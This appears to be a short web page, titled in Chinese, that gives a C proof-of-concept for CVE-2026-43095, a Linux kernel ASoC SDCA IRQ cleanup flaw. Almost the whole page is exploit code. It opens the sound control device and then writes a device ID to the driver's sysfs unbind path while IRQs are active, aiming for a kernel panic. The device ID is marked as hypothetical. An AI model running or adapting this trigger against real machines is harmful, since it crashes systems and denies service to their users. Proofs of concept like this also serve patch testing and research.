CVE-2026-43095 Linux内核ASoC SDCA资源释放漏洞

/* * PoC for CVE-2026-43095 (Linux Kernel ASoC SDCA IRQ Cleanup) * This PoC demonstrates the logic to trigger the vulnerability by unbinding * the driver while IRQs are active, causing a potential kernel crash. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define UNBIND_PATH "/sys/bus/platform/drivers/sdca_codec/unbind" #define DEVICE_ID "sdca_codec.0" // Hypothetical device ID int main() { int fd; FILE *fp; printf("[*] Attempting to trigger CVE-2026-43095...\n"); // 1. Open sound device to ensure IRQs are populated and active fd = open("/dev/snd/controlC0", O_RDWR); if (fd < 0) { perror("[-] Failed to open sound device"); return 1; } printf("[+] Sound device opened, IRQs active.\n"); // 2. Trigger unbind to tear down the sound card component // This simulates the scenario where the card is torn down but IRQs persist fp = fopen(UNBIND_PATH, "w"); if (!fp) { perror("[-] Failed to open unbind path"); close(fd); return 1; } fprintf(fp, "%s", DEVICE_ID); fclose(fp); printf("[+] Driver unbind triggered. Check for kernel panic.\n"); close(fd); return 0; }